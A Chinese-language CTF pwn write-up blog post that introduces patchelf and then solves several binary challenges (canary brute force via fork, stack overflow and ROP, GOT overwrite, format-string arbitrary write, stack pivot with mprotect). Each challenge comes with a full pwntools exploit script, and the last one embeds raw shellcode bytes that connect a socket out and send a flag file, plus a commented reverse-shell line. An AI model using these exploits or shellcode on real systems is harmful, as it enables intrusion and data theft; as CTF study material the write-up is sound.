day2
前置知识:
动态链接库#
我们可以使用ldd对程序进行观察,ldd
命令用于打印程序或者库文件所依赖的共享库列表。Glibc安装的库中有一个为ld-linux.so.X
,其中X为一个数字,在不同的平台上名字也会不同。
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa573a00000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa573d73000)
libc.so.6
是 C 库(LibC)的动态链接库文件,它提供了许多标准的 C 语言函数和运行时支持。这是一个常见的库文件,用于提供操作系统级的功能和服务。/lib64/ld-linux-x86-64.so.2
是 Linux x86_64 架构的动态链接器(Dynamic Linker),它负责在程序运行时加载和链接程序所依赖的库文件,并将它们与可执行文件进行动态链接。动态链接器还负责解析符号依赖关系、地址重定位等任务,以实现库的动态加载和链接。
如果遇到需要更改elf可执行文件的动态链接库那么我们可以使用patchelf进行修改
patchelf食用指北#
我们看一下GitHub patchelf的使用指南
PatchELF 是一个简单的实用程序,用于修改现有的 ELF 可执行文件和库。具体来说,它可以执行以下操作:
更改可执行文件的动态加载器(“ELF 解释器”):
$ patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program
更改RPATH可执行文件和库的:
$ patchelf --set-rpath /opt/my-libs/lib:/other-libs my-program
缩小RPATH可执行文件和库的大小:
$ patchelf --shrink-rpath my-program
这将从RPATH所有不包含DT_NEEDED可执行文件或库的字段引用的库的目录中删除。例如,如果一个可执行文件引用一个库libfoo.so,有一个 RPATH /lib:/usr/lib:/foo/lib,并且libfoo.so只能在 中找到/foo/lib,那么新的RPATH将是/foo/lib。
此外,该--allowed-rpath-prefixes选项还可用于进一步的 rpath 调整。例如,如果可执行文件具有RPATH /tmp/build-foo/.libs:/foo/lib,则可能需要保留/foo/lib引用而不是/tmp条目。为此,请使用:
$ patchelf --shrink-rpath --allowed-rpath-prefixes /usr/lib:/foo/lib my-program
删除对动态库(DT_NEEDED 条目)声明的依赖项:
$ patchelf --remove-needed libfoo.so.1 my-program
该选项可以多次给出。
添加对动态库的声明依赖项 ( DT_NEEDED):
$ patchelf --add-needed libfoo.so.1 my-program
该选项可以多次给出。
将声明的动态库依赖项替换为另一个依赖项 ( DT_NEEDED):
$ patchelf --replace-needed liboriginal.so.1 libreplacement.so.1 my-program
该选项可以多次给出。
SONAME动态库的改变:
$ patchelf --set-soname libnewname.so.3.4.5 path/to/libmylibrary.so.1.2.3
使用案例1#
1.程序ldd后是下面这种情况
直接使用patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program
修改无法修改,我们需要使用patchelf --replace-needed liboriginal.so.1 libreplacement.so.1 my-program
进行修改具体操作如下
使用案例2#
2.下面这种checksec后runpath是红的,并且动态链接器不对
直接使用patchelf --set-interpreter /lib/my-ld-linux.so.2 my-program
进行修改
funcanary
总结#
参考文章:
Canary学习(爆破Canary)_funcanary_西杭的博客-CSDN博客
CISCN2023初赛]-爆破canary+pie_C4ndy的博客-CSDN博客
一道爆破canary的题目
程序分析#
checksec#
[*] '/home/yang/桌面/day2/funcanary'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/hack/libc/2.34-0ubuntu3_amd64/'
函数分析#
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]
sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
可以看的程序中有fork函数可以不断创建子进程,这可以让我们能够不断尝试canary
unsigned __int64 sub_128A()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}
漏洞点#
- fork函数不断创建新的子线程,所以我们可以进行爆破操作
知识点#
- pie保护开启后,后三位不变
- 栈通常是小端序,因此十六机制的后三位在栈上是前三位
利用思路#
通过每次覆盖一字节来爆破canary,程序有后门函数,又因为pie保护开启后,后三位不变,所以我们可以覆盖前两字节爆破其中一位,最终得到flag
EXP#
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './funcanary'
io = remote("100.126.38.43",61078)
io = process(proname)
io = gdb.debug(proname,"break main")
elf = ELF(proname)
io.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
print ("正在爆破Canary的第" + str(k+1)+"位")
print ("当前的字符为"+ chr(i))
payload=b'a'*104 + canary+ i.to_bytes(1,'little')
print ("当前payload为:",payload)
io.send(b'a'*104 + canary + i.to_bytes(1,'little'))
data = io.recvuntil("welcome\n")
print (data)
if b"have" in data:
canary += i.to_bytes(1,'little')
break
backdoor = 0x1229
for m in range(16):
tmp = m * 16 + 2
payload = b'A'*0x68 + canary + b'deadbeef' + b'\x31' + p8(tmp)
io.send(payload)
a = io.recvline()
print(a)
if b'flag' in a:
print (aaa)
io.interactive()
print('m = ' + str(m))
print(b'\x29' + str(tmp).encode())
io.interactive()
widget
总结#
一个很简单但很离谱的栈溢出,我竟然在payload后门添加了200个ret指令抬高栈地址。这题主要是gdb调试要懂得until命令(不然光调试程序就要老命了),其次是仔细观察报错时汇编代码是否有地址读写权限不足的问题。最后就是要明白每次返回后门地址时要牢记我们需要的是system函数,如果可以的话直接返回到system函数部分,这题就是因为忘记这点做复杂了。
程序分析#
checksec#
[*] '/home/yang/桌面/day2/widget'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fb000)
程序没有开启canary和PIE,做题会方便许多
main函数分析#
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-24h] BYREF
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
__gid_t rgid; // [rsp+28h] [rbp-8h]
unsigned int i; // [rsp+2Ch] [rbp-4h]
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
if ( called )
exit(1);
called = 1;
printf("Amount: ");
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 < 0 )
exit(1);
printf("Contents: ");
read(0, buf, v4);
for ( i = 0; (int)i < v4; ++i )
{
if ( buf[i] == 'n' )
{
printf("bad %d\n", i);
exit(1);
}
}
printf("Your input: ");
return printf(buf);
}
main函数有一个很明显的格式化字符串漏洞和栈溢出,并且格式化字符串限制了%n,即无法进行任意地址写的操作,因此我们需要进行栈溢出攻击
rgid = getegid();
setresgid(rgid, rgid, rgid);
这段代码用于获取当前进程的有效组ID(egid),然后使用 setresgid
函数将实际组ID(real gid)、有效组ID(effective gid)和保存的组ID(saved gid)都设置为获取到的 egid。
具体解释如下:
rgid = getegid();
:getegid
函数用于获取当前进程的有效组ID(egid),并将其赋值给变量rgid
。setresgid(rgid, rgid, rgid);
:setresgid
函数用于设置实际组ID、有效组ID和保存的组ID。在这个代码片段中,将这三个组ID都设置为rgid
,即当前进程的有效组ID。
通过这段代码,进程的组ID被设置为相同的值,确保了在后续的执行中,进程的组ID保持一致。这可能是为了满足特定的安全要求或权限管理的需要。
win函数分析#
int __fastcall win(const char *a1, const char *a2)
{
char s[136]; // [rsp+10h] [rbp-90h] BYREF
FILE *stream; // [rsp+98h] [rbp-8h]
if ( strncmp(a1, "14571414c5d9fe9ed0698ef21065d8a6", 0x20uLL) )
exit(1);
if ( strncmp(a2, "willy_wonka_widget_factory", 0x1AuLL) )
exit(1);
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("Error: missing flag.txt.");
exit(1);
}
fgets(s, 128, stream);
return puts(s);
}
程序中还有个win函数,可以看到需要对函数两个参数进行比对最后cat flag。这里可以简单的做就是直接通过返回到stream = fopen("flag.txt", "r");
的位置来攻击
漏洞点#
- 输入内容大小没有限制,可以对buf进行栈溢出
- printf函数可以泄露任意地址,即可以泄露libc,然后rop
- win函数中有
return puts(s);
可以直接泄露flag
知识点#
- gdb调试时遇到
jl main+241
可以直接until,结束循环 - libc文件中含有pop,ret等指令,可以直接用ROPgadget查看也可以通过更简便的方法
next(libc.search(asm('pop rdi;ret')))
进行查看 - elf文件是一个类,可以直接通过elf.plt.system,以及libc.address来存入libc的base地址这样便可以直接使用libc.sym.system来获取system函数地址
利用思路#
- EXP1
- 先通过%p泄露libc基地址,再重新返回main函数,因为返回main之后还会对rbp操作因此将rbp覆盖为栈上的值
- 再通过libc找到rop的地址,这里因为是在本地调试所以直接就用本地的libc,正常做题的时候需要用glibc_all_in_one来下载对应的libc
- 最后再进行一次栈溢出,由于程序将rbp不断减去一个数,所以我们不断抬高栈地址,最终程序打通
- EXP2
- 直接使用栈溢出到win函数的关键代码处即可
EXP1#
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './widget'
io = process(proname)
#io = gdb.debug(proname,"break main")
elf = ELF(proname)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
main = 0x00000000004013D9
#泄露libc_main函数地址,再重新返回到main函数
io.recv()
p = b'%33$p.cc'+b'b'*24+p64(0x0000000000404100)+p64(main)
io.sendline(str(len(p)))
io.recv()
io.sendline(p)
io.recvuntil("Your input: ")
#泄露libc地址,以及rop链地址
libc_base = int(io.recvuntil(".",drop=True),16)-libc.symbols['__libc_start_main']-137
libc.address = libc_base
system = libc.sym.system
binsh =next(libc.search(b'/bin/sh\x00'))
pop_rdi = next(libc.search(asm('pop rdi;ret')))
ret = 0x00000000000233d1
p2 = b'a'*32+p64(0x404778)
for i in range(200):
p2+= p64(libc.address+ret)
p2+=p64(libc.address+ret)+p64(pop_rdi)+p64(binsh)+p64(system)
io.sendlineafter(':', str(len(p2)))
io.sendlineafter(':', p2)
io.interactive()
EXP2#
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './widget'
#io = process(proname)
io = gdb.debug(proname,"break main")
elf = ELF(proname)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recv()
p = b'b'*32+p64(0x0000000000404100)+p64(0x000000000040130B)
io.sendline(str(len(p)))
io.recv()
io.sendline(p)
io.interactive()
pwn2
总结#
经过头脑风暴后,最终还是没有想出该怎么写,最终还是在询问了师父之后才明白了如何攻击
程序分析#
checksec#
[*] '/home/yang/桌面/day2/pwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序没有开启pie,因此程序got,plt表都可以使用
main函数分析#
int __cdecl main(int argc, const char **argv, const char **envp)
{
const void *v3; // rsi
int v4; // eax
int cnt; // [rsp+10h] [rbp-20h]
int choice; // [rsp+14h] [rbp-1Ch]
__int64 *addr_0; // [rsp+20h] [rbp-10h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("welcome to pwn2");
cnt = 0;
while ( 1 )
{
choice = get_choice();
if ( choice == 3 )
break;
v4 = cnt++;
if ( v4 > 4 )
break;
if ( choice == 1 )
{
printf("input addr : ");
v3 = get_ll();
write(1, v3, 8uLL);
}
else if ( choice == 2 )
{
printf("input addr : ");
addr_0 = get_ll();
printf("input value : ");
*addr_0 = get_ll();
}
else
{
puts("invalid choice");
}
}
puts("bye bye");
return 0;
}
程序提供了两个选项分别是,任意地址写入内容,任意地址读。但是程序并不存在栈溢出,所以我们需要考虑一下别的利用方式。
我们最理想的情况就是输入栈上ret的地址,修改为恶意函数地址,但是没有途径可以泄露栈上的地址,唯一可用的就是got表(因为程序即使没有开启pie,也有aslr地址随机化),所以接下来的利用朝这个方向挖掘
get_ll函数分析#
__int64 __cdecl get_ll()
{
char buf[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
*buf = 0LL;
*&buf[8] = 0LL;
*&buf[16] = 0LL;
*&buf[24] = 0LL;
read(0, buf, 0x1FuLL);
return atoll(buf);
}
程序读入一段数据并且调用了atoll函数处理这段数据
漏洞点#
- 程序本身的任意地址读写
- 没有开启pie,got表可用
知识点#
利用思路#
- 首先使用任意地址读,输入got表地址,泄露libc基地址,找到system函数地址
- 再使用任意地址写,输入atoll,got表地址,将其修改为system函数,然后输入/bin/sh即可执行system("/bin/sh")
EXP#
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './pwn2'
io = process(proname)
#io = gdb.debug(proname,"break main")
elf = ELF(proname)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def read_addr(addr):
io.sendlineafter("choice:",b'1')
io.sendafter("input addr : ",str(addr))
def write_addr(addr,value):
io.sendlineafter("choice:",b'2')
io.sendlineafter("input addr : ",str(addr))
io.sendlineafter("value : ",str(value))
read_addr(elf.got['setbuf'])
a = io.recvuntil(b'1.',drop= 'true')
a = u64(a.ljust(8,b'\x00'))
libc.address = a-libc.symbols['setbuf']
system = libc.symbols.system
print (hex(libc.symbols.system))
write_addr(elf.got['atoll'], libc.symbols.system)
read_addr("/bin/sh")
io.interactive()
fmt
总结#
第一次接触格式化字符串任意地址写漏洞,说来惭愧,之前工作室师傅就让我学这个,然后我给鸽了。这次做完对任意地址写以及栈上的存储单位有了一个新的认识
参考文章;
[printf 成链攻击 (eonew.cn)](http://blog.eonew.cn/2019-08-27.printf 成链攻击.html)
格式化字符串大杂烩-安全客 - 安全资讯平台 (anquanke.com)
程序分析#
checksec#
[*] '/home/yang/桌面/day2/fmt/pwn.pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
防御全开,PIE开了说明不能直接使用ida中的地址了,需要泄露栈地址计算偏移量
main函数分析#
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s2; // [rsp+8h] [rbp-78h] BYREF
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+78h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Do you know who the best pwner is?");
base64_decode(encoded_string, &s2);
read(0, buf, 0x3CuLL);
if ( !strcmp(buf, s2) )
vuln();
else
printf("I think your idea is wrong");
free(s2);
return 0;
}
程序首先对一段字符串进行了base64解密,再与我们输入的字符串进行比对,如果相同进入vuln函数vuln函数中返回到了fmtstr函数
fmtstr函数分析#
__int64 fmtstr()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 12; ++i )
{
puts("What do you want to say?");
read(0, buf, 0x40uLL);
printf(buf);
}
return 0LL;
}
明显的格式化字符串漏洞,能够循环12次
漏洞点#
- fmtstr函数中有格式化字符串漏洞意味着我们可以任意地址读写,因此我们能够得到libc基地址,pie基地址,以及栈上ret的地址
- 既然可以任意地址写,那我们需要找到一个二级指针从而达到修改任意地址的目的
- 循环变量i存储在栈上意味着我们可以直接对i进行修改
知识点#
0x7fffffffdf00 —▸ 0x7fffffffe048 —▸ 0x7fffffffe363
使用%n修改的是目标地址指向的地址的内容,即0x7fffffffe363
0x7fffffffdf00 —▸ 0x7fffffffe048 —▸ 0x7fffffffe363
使用%p打印的是目标地址里的内容即0x7fffffffe048
- 每次在步进printf的第一步使用gdb fmtarg找偏移量
- 修改16进制数后三位的方法
pop = int(io.recvuntil(".",drop=True),16)
prefix = pop & 0xFFFFFFFFFFFFF800
pop = prefix | (0x6c3 & 0x7FF)
attack_addr = attack_addr >> 8
意思是把地址右移8位,二进制右移8位,十六进制右移两位,&0xFF,取两位
利用思路#
首先使用gdb调试找到一个二级指针
使用%p泄露libc,pie,以及stackret地址
之后再通过函数对栈上的地址不断修改
- 首先找到栈上i变量存储的地址
- 然后再创建一个函数,每次使用二级指针修改ret地址同时修改i变量,从而达到不断攻击
每次将rbp+0x4的位置置为0
EXP#
from pwn import *
#from LibcSearcher import *
io = process("./pwn.pwn")
#io= gdb.debug("./pwn.pwn","break fmtstr")
context(arch="amd64",os="linux")
context.log_level = "debug"
elf = ELF("./pwn.pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sd = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
sda = lambda delim,data :io.sendafter(delim, data)
rcn = lambda numb=4096 :io.recv(numb, timeout = 3)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
li = lambda tag, addr :log.info(tag + ': {:#x}'.format(addr))
ls = lambda tag, addr :log.success(tag + ': {:#x}'.format(addr))
lsh = lambda tag, addr :LibcSearcher(tag, addr)
interactive = lambda :io.interactive()
printf = lambda index :success(hex(index))
getadd = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def vuln(attack_addr,changed_addr,i_addr):
for i in range(6):
p1 = b'%' + str(changed_addr +i& 0xFFFF).encode() + b'c%30$hn'
p1.ljust(0x40,b"\x00")
sla(b"What do you want to say?\n",p1)
p2 = b'%' + str(attack_addr & 0xFF).encode() + b'c%60$hhn'
p2.ljust(0x40,b"\x00")
sla(b"What do you want to say?\n",p2)
p3 = b'%' + str(i_addr&0xFFFF).encode() + b'c%30$hn'
p3.ljust(0x40,b"\x00")
sla(b"What do you want to say?\n",p3)
p4 = b'%60$n'
p4.ljust(0x40,b"\x00")
sla(b"What do you want to say?\n",p4)
attack_addr = attack_addr >> 8
sleep(5)
sa(b"Do you know who the best pwner is?\n",b'TokameinE_is_the_best_pwner'+b'\x00'*5)
sda(b"What do you want to say?\n",b'%37$p.%49$p.%11$p.')
#得到栈上ret和i的地址
stack1 = int(io.recvuntil(".",drop=True),16)-448
i_addr = stack1-0xc
#得到libc的基地址
libc_base = int(io.recvuntil(".",drop=True),16)-137-libc.symbols['__libc_start_main']
#得到system,binsh的地址
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh"))
#泄露PIE基地址,得到pop_rdi和ret的地址
pop = int(io.recvuntil(".",drop=True),16)
prefix = pop & 0xFFFFFFFFFFFFF800
pop = prefix | (0x6c3 & 0x7FF)
ret = prefix | (0x01a & 0x7FF)
success("stack1:"+hex(stack1))
success("pop:"+hex(pop))
success("binsh:"+hex(binsh))
success("system:"+hex(system))
#攻击
vuln(ret,stack1,i_addr)
vuln(pop,stack1+0x8,i_addr)
vuln(system,stack1+0x18,i_addr)
vuln(binsh,stack1+0x10,i_addr)
pause()
for i in range(12):
sla(b"What do you want to say?\n",p64(0xdeadbeef))
io.interactive()
login
总结#
参考:
某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP_cccsl_的博客-CSDN博客
程序分析#
checksec#
[*] '/home/yang/桌面/day2/login'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ef000)
程序没有开启canary和pie
main函数分析#
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts(&s);
read(0, buf, 0x110uLL);
close(1);
close(2);
return 0LL;
}
通过反编译可以看到,程序能够读取0x110字节的内容,只能溢出16字节,也就是说需要进行栈迁移,但是用单纯的栈迁移无法起作用,可以使用栈迁移加强版
init函数(csu)#
.text:0000000000401270 loc_401270: ; CODE XREF: init+54↓j
.text:0000000000401270 mov rdx, r14
.text:0000000000401273 mov rsi, r13
.text:0000000000401276 mov edi, r12d
.text:0000000000401279 call qword ptr [r15+rbx*8]
.text:000000000040127D add rbx, 1
.text:0000000000401281 cmp rbp, rbx
.text:0000000000401284 jnz short loc_401270
.text:0000000000401286
.text:0000000000401286 loc_401286: ; CODE XREF: init+35↑j
.text:0000000000401286 add rsp, 8
.text:000000000040128A pop rbx
.text:000000000040128B pop rbp
.text:000000000040128C pop r12
.text:000000000040128E pop r13
.text:0000000000401290 pop r14
.text:0000000000401292 pop r15
.text:0000000000401294 retn
漏洞点#
- 栈迁移获得空间植入恶意代码
- 通过csu的gadget编写shellcode
- 使用magic gadget 将close改为mprotect函数,然后将某段区域改为可读可写可执行,之后再写入shellcode最后执行
知识点#
-
每次ret的时候会pop rsp
-
call qword ptr [r15 + rbx*8] 执行的是r15指向的地址的内容
-
magic_gadget
add DWORD PTR [rbp-0x3d], ebx
ROPgadget --binary a --opcode 015dc3
-
mprotect指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
利用思路#
-
栈迁移(加强)
- 在栈帧结束的时候会执行leave ret ,其中leave底层是
mov rsp,rbp pop rbp //还原函数栈
-
第一次执行main函数,我们可以在rbp的位置放入可执行的bss段的地址,ret地址放入main函数中read函数地址,pop rbp后rbp就变为bss段地址0x404500
-
第二次执行main函数
-
因为read读入的起始地址参数是rbp-var4,这时我们可以将恶意代码填入栈中,因此我们恶意代码顶部地址是0x404400,底部代码地址是0x404500
-
这时rbp是0x404500,进行溢出操作时,将rbp设为rbp-0x110,也就是将rbp设为0x4043f0来为下次溢出做准备,(之所以设为0x4043f0,是因为我们在执行leave操作时会将rsp+8,ret指令也会将rsp+8,所以我们要将rbp的值设为bss_start-0x10,这样才能做到顶部地址是0x404400,底部代码地址是0x404500),这次执行leave ret后,rsp是0x404500,,rbp是0x4043f0,显然这次还是没有将栈迁移完成,因此我们ret到main函数再进行一次栈溢出
-
-
第三次执行main函数,如果我们想要执行恶意代码,这次输入的内容为垃圾数据,将rbp设为栈底也就是bss_end的地方,之后返回到csu1的位置,再将恶意代码中的参数pop出来,到此栈就完成栈迁移的操作了
-
编写shellcode,在第二次构造payload时,顺便将rop链+shellcode写入进去
-
首先是将close的got表地址改为mprotect,这里我们使用csu1,之后返回到magic
-
然后使用mprotect(call close_got)将想要的区域设为可执行,这里要注意,mprotect指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
-
之后再使用read函数将shellcode读取到目标区域,之后返回到目标区域执行shellcode
这里shellcode因为程序正常的输出流被关闭了,所以我们要使用socket+connect+open+sendfile来读取flag
-
EXP#
没打通。。很奇怪,为啥我open了一个文件然后sendfile,connect成功了,但是没有成功sendfile
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
proname = './login'
#io = remote("100.126.38.43",61078)
io = process(proname)
#io = gdb.debug(proname,"break read")
elf = ELF(proname)
#设置相关变量
bss_start = 0x404400
bss_end = 0x404500
main = 0x00000000004011ED
close = elf.got.close
read = elf.got.read
magic = 0x000000000040117c#add DWORD PTR [rbp-0x3d], ebx
#rbx,rbp(close_addr),edi,rsi,rdx,r15(call)
csu1 = 0x000000000040128A
csu2 = 0x0000000000401270
offset = 0x9a20
asm_code = """
.global _start
_start:
.intel_syntax noprefix
mov rax, 59
lea rdi, [rip+binsh]
mov rsi, 0
mov rdx, 0
syscall
binsh:
.string "/bin/sh"
"""
socket = b'\x6A\x02\x5F\x6A\x01\x5E\x6A\x00\x5A\x6A\x29\x58\x0F\x05'
connect = b'\x6A\x00\x5F\x48\xB9\x02\x00\x03\xE8\x7F\x00\x00\x01\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05'
orw = b'\x68\x66\x6C\x61\x67\x48\x89\xE7\x6A\x00\x5E\x6A\x02\x58\x0F\x05\x6A\x01\x5F\x48\xC7\xC6\x00\x15\x60\x00\x6A\x50\x5A\x6A\x00\x58\x0F\x05\x6A\x00\x5F\x48\xC7\xC6\x00\x15\x60\x00\x6A\x50\x5A\x6A\x01\x58\x0F\x05'
#reverse_shell = b"\x6a\x29\x58\x6a\x06\x5a\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x97\xb0\x2a\x48\xb9\x02\x00"+ \remote_port.to_bytes(2, "big")+socket.inet_aton(remote_ip) + b"\x51\x54\x5e\xb2\x10\x0f\x05"
start = b'\x6A\x29\x58\x6A\x06\x5A\x6A\x02\x5F\x6A\x01\x5E\x0F\x05\x97\xB0\x2A\x48\xB9\x02\x00\x27\x11\x7F\x00\x00\x01\x51\x54\x5E\xB2\x10\x0F\x05'
result = b'\xe8\x05\x00\x00\x00flag\x00_H\x89\xd0H1\xd21\xf6\xb0\x02\x0f\x05H\xc7\xc0(\x00\x00\x00H1\xffH\xc7\xc6\x01\x00\x00\x00H1\xd2I\xc7\xc20\x00\x00\x00\x0f\x05'
result2 = b"\xE8\x07\x00\x00\x00\x7E\x2F\x66\x6C\x61\x67\x00\x5F\x48\x89\xD0\x48\x31\xD2\x31\xF6\xB0\x02\x0F\x05\x48\xC7\xC0\x28\x00\x00\x00\x48\x31\xFF\x48\xC7\xC6\x01\x00\x00\x00\x48\x31\xD2\x49\xC7\xC2\x30\x00\x00\x00\x0F\x05"
send_flag = b"\x92\x48\xbb\x2f\x66\x6c\x61\x67\x00\x00\x00\x53\x54\x5f\x31\xf6\xb0\x02\x0f\x05\x96\x87\xfa\x68\x00\x13\x60\x00\x5a\x6a\x30\x41\x5a\x31\xc0\xb0\x28\x0f\x05"
pause()
#构造payload1
p1 = b'a'*0x100+p64(bss_end)+p64(main)
#第一次溢出,将改变rsp
io.sendafter(b'\x90\x90\n',p1)
sleep(0.2)
#构造payload2
#p2 = flat([csu1,offset,close+0x3d,b'a'*24,magic,csu1,b'a'*16,bss_start,0x10000,7,mprotect,csu2])
p2 = p64(offset)+p64(close+0x3d)+b'a'*24+p64(bss_start-offset*8+0xf0)+p64(magic)#将close改为mprotect
p2 +=p64(csu1)+p64(0)+p64(1)+p64(0x404000)+p64(0x1000)+p64(7)+p64(close)+p64(csu2)#调用mprotect
p2 +=p64(csu1)+p64(0)+p64(1)+p64(0)+p64(0x404090)+p64(0x58)+p64(read)+p64(csu2)
p2 = p2.ljust(0xf0,b'a')
p2 +=p64(0x404090)+b'a'*8
print (len(p2))
p2 += p64(bss_start-0x10)
p2 += p64(main)
#进行第二次栈溢出,将rsp复制给rbp,再重新改变rsp,并且同时构造rop链,栈已迁移
io.send(p2)
sleep(0.2)
#第三次栈溢出
p3 = b'a'*0x100+p64(bss_end)+p64(csu1)
io.send(p3)
sleep(0.2)
#将shellcode输入进去
io.send(start+send_flag)
io.interactive()
作者:Esofar
出处:https://www.cnblogs.com/amof/p/17794722.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?